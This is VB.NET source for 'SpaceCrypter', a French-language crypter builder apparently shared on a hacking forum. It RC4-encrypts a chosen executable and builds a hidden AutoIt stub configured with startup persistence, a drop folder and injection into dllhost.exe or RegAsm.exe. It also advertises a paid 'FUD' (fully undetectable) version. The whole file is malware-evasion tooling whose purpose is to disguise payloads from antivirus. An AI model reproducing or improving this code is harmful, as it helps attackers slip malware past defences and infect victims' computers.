Imports System.IO
Imports System.Text

Public Class Form1

#Region "La merde"
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Try
            Directory.Delete(TempName(), FileIO.DeleteDirectoryOption.DeleteAllContents)
            If Not Directory.Exists(TempName) Then
                Directory.CreateDirectory(TempName)
            End If
        Catch : End Try
    End Sub

    Private Sub CheckBoxIcon_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBoxIcon.CheckedChanged
        If CheckBoxIcon.Checked = True Then
            ButtonChangerIco.Enabled = True
        Else
            ButtonChangerIco.Enabled = False
        End If
    End Sub

    Private Sub ChargerFichier_Click(sender As Object, e As EventArgs) Handles ChargerFichier.Click
        Dim fichier As New OpenFileDialog
        fichier.Filter = "Exécutable | *.exe"
        fichier.Title = "Choissier un fichier a crypter"
        If fichier.ShowDialog = vbOK Then
            TextBoxFichier.Text = fichier.FileName
        End If
        If Not managed(File.ReadAllBytes(TextBoxFichier.Text)) Then
            Label8.Text = "Application native"
            RadioButtonNatif.Checked = True
            RadioButtonDll.Checked = True
        Else
            If managed(File.ReadAllBytes(TextBoxFichier.Text)) Then
                Label8.Text = "Application .NET"
                RadioButtonNet.Checked = True
                RadioButtonReg.Checked = True
            End If
        End If
    End Sub

    Private Sub RandomPool1_CharacterSelection(s As Object, c As Char) Handles RandomPool1.CharacterSelection
        If TextBoxEncryption.Text.Length < 50 Then
            Try
                TextBoxEncryption.Text = TextBoxEncryption.Text & c
            Catch : End Try
        End If
    End Sub

    Public Function managed(executable As Byte()) As Boolean
        Return executable(60) = 128
    End Function

    Private Sub ButtonChangerIco_Click(sender As Object, e As EventArgs) Handles ButtonChangerIco.Click
        Dim chargericon As New OpenFileDialog
        chargericon.Title = "Charger l'icon que vous souhaiter"
        chargericon.Filter = "Icon | *.ico"
        If chargericon.ShowDialog = vbOK Then
            PictureIcon.ImageLocation = chargericon.FileName
        End If
    End Sub

    Private Sub RadioButtonNet_CheckedChanged(sender As Object, e As EventArgs) Handles RadioButtonNet.CheckedChanged
        If RadioButtonNet.Checked = True Then
            RadioButtonDll.Enabled = False
            RadioButtonReg.Enabled = True
            RadioButtonReg.Checked = True
            RadioButtonDll.Checked = False
        Else
            RadioButtonReg.Enabled = False
            RadioButtonReg.Checked = False
            RadioButtonDll.Enabled = True
            RadioButtonDll.Checked = True
        End If
    End Sub
#End Region

    Public Function TempName()
        Dim DossierTemp As String = Path.GetTempPath & "SpaceCrypterFree\"
        Return DossierTemp
    End Function

    Private Shared Function rc4(ByVal Input As Byte(), ByVal Key As Byte()) As Byte()
        Dim i, j, swap As UInteger
        Dim s As UInteger() = New UInteger(255) {}
        Dim Output As Byte() = New Byte(Input.Length - 1) {}

        For i = 0 To 255
            s(i) = i
        Next

        For i = 0 To 255
            j = (j + Key(i Mod Key.Length) + s(i)) And 255
            swap = s(i)
            s(i) = s(j)
            s(j) = swap
        Next
        i = 0 : j = 0
        For c = 0 To Output.Length - 1
            i = (i + 1) And 255
            j = (j + s(i)) And 255
            swap = s(i)
            s(i) = s(j)
            s(j) = swap
            Output(c) = Input(c) Xor s((s(i) + s(j)) And 255)
        Next

        Return Output
    End Function

    Public Function ExtStr(cadena As String, Opt As Long, Optional dirChar As String = "\") As String
        Try
            Dim FullName As String
            FullName = Mid$(cadena, InStrRev(cadena, dirChar) + 1)
            Select Case Opt
                Case 1
                    'Nombre
                    ExtStr = Mid$(FullName, 1, InStrRev(FullName, ".") - 1)
                Case 2
                    'Extension
                    ExtStr = "." & Mid$(FullName, InStrRev(FullName, ".") + 1)
                Case 3
                    'Nombre + Extension
                    ExtStr = FullName
                Case Else
                    ExtStr = cadena
            End Select
        Catch : End Try
    End Function

    Function CorrectionDuFichier()
        Dim correct As String
        If TextBoxFichiercop.Text.Contains(".exe") Then
            correct = TextBoxFichiercop.Text
        Else
            correct = TextBoxFichiercop.Text & ".exe"
        End If
        Return correct
    End Function

    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        If TextBoxClestartup.TextLength < 1 Then
        ElseIf TextBoxDossier.TextLength < 1 Then
        ElseIf TextBoxEncryption.TextLength < 1 Then
        ElseIf TextBoxFichier.TextLength < 1 Then
        ElseIf TextBoxFichiercop.TextLength < 1 Then
            MsgBox("Vous n'avez pas remplis tout les champs nécéssaire pour le cryptage", MsgBoxStyle.OkOnly, "Erreur lors du cryptage")
            Exit Sub
        Else
            Dim dossierTemp As String = TempName()
            Try
                Directory.CreateDirectory(dossierTemp)
            Catch : End Try
            Dim crypter As New SaveFileDialog
            crypter.Filter = "Executable | .exe"
            crypter.FileName = ExtStr(TextBoxFichier.Text, 1) & ".crypted"
            If crypter.ShowDialog = vbOK Then
                Try
                    Dim Encryption As String = Chr(34) & TextBoxEncryption.Text & Chr(34)
                    Dim injection As String
                    Dim Startup As String = Chr(34) & TextBoxClestartup.Text & Chr(34)
                    Dim Fichier As String = Chr(34) & CorrectionDuFichier() & Chr(34)
                    Dim Dossier As String = Chr(34) & TextBoxDossier.Text & Chr(34)
                    Dim FichieraCrypt() As Byte = rc4(File.ReadAllBytes(TextBoxFichier.Text), Encoding.[Default].GetBytes(TextBoxEncryption.Text))
                    ProgressBar1.Value = 30
                    If RadioButtonDll.Checked = True Then
                        injection = Chr(34) & "C:\Windows\System32\dllhost.exe" & Chr(34)
                    Else
                        injection = Chr(34) & "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" & Chr(34)
                    End If
                    File.WriteAllBytes(dossierTemp & "Aut2Exe.exe", My.Resources.Aut2Exe)

                    File.WriteAllText(dossierTemp & "stub.au3", My.Resources.Stub.Replace("%DOSSIER%", Dossier).Replace("%NOM%", Fichier).Replace("%STARTUP%", Startup).Replace("%KEY%", Encryption).Replace("%INJECTION%", injection))
                    File.WriteAllText(dossierTemp & "rc4.oc", My.Resources.rc4)
                    ProgressBar1.Value = 55
                    File.WriteAllBytes(dossierTemp & "encrypted.bin", FichieraCrypt)
                    ProgressBar1.Value = 60
                    Dim BuildDuStub As ProcessStartInfo = New ProcessStartInfo()
                    If CheckBoxIcon.Checked = True Then
                        BuildDuStub.Arguments = "/in " & dossierTemp & "stub.au3 /out " & dossierTemp & "Compiled.exe /icon " & PictureIcon.ImageLocation & " /comp 4 /nopack"
                    Else
                        BuildDuStub.Arguments = "/in " & dossierTemp & "stub.au3 /out " & dossierTemp & "Compiled.exe /comp 4 /nopack"
                    End If
                    BuildDuStub.WindowStyle = ProcessWindowStyle.Hidden
                    BuildDuStub.CreateNoWindow = True
                    BuildDuStub.FileName = dossierTemp & "Aut2Exe.exe"
                    ProgressBar1.Value = 80
                    Process.Start(BuildDuStub)
                    ProgressBar1.Value = 90
                    Threading.Thread.Sleep(1000)
                    If File.Exists(crypter.FileName) Then
                        File.Delete(crypter.FileName)
                        File.Copy(dossierTemp & "Compiled.exe", crypter.FileName)
                    Else
                        File.Copy(dossierTemp & "Compiled.exe", crypter.FileName)
                    End If
                    ProgressBar1.Value = 100
                    Directory.Delete(dossierTemp, FileIO.DeleteDirectoryOption.DeleteAllContents)
                    Media.SystemSounds.Asterisk.Play()
                    Dim reponse = MsgBox("Votre fichier a correctement etait crypter" + vbNewLine + "Si vous souhaiter avoir plus d'option ou être FUD" + vbNewLine + "Passer à la version payante", MsgBoxStyle.YesNo, "Fichier crypter correctement")
                    If reponse = MsgBoxResult.Yes Then
                        Process.Start("http://hack-free.net/private.php?action=send&uid=910&subject=Space-Crypter")
                    End If
                    ProgressBar1.Value = 0
                Catch ex As Exception
                    Dim Erreur As String = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) & "\Erreur detaillé.txt"
                    File.Create(Erreur).Close()
                    Dim EcrireErreur As New StreamWriter(Erreur)
                    EcrireErreur.Write(ex.ToString)
                    EcrireErreur.Close()
                    MsgBox("Un Fichier a etait crée sur votre Bureau comprenant l'erreur qui a eu lieux")
                    MsgBox("Une erreur est suvenur au moment du cryptage." + vbNewLine + "Si ce problème persiste contacter FyR0z avec le Fichier sur Hack-Free", MsgBoxStyle.OkOnly, "Erreur lors du cryptage")
                End Try
            End If
        End If

    End Sub

    Private Sub Acheter_Click(sender As Object, e As EventArgs) Handles Acheter.Click
        Dim response2 = MsgBox("Si vous souhaiter avoir plus d'option ou être FUD" + vbNewLine + "Passer à la version payante", MsgBoxStyle.YesNo, "Interesser par la version payante ?")
        Media.SystemSounds.Asterisk.Play()
        If response2 = MsgBoxResult.Yes Then
            Process.Start("http://hack-free.net/private.php?action=send&uid=910&subject=Space-Crypter")
        End If
    End Sub


End Class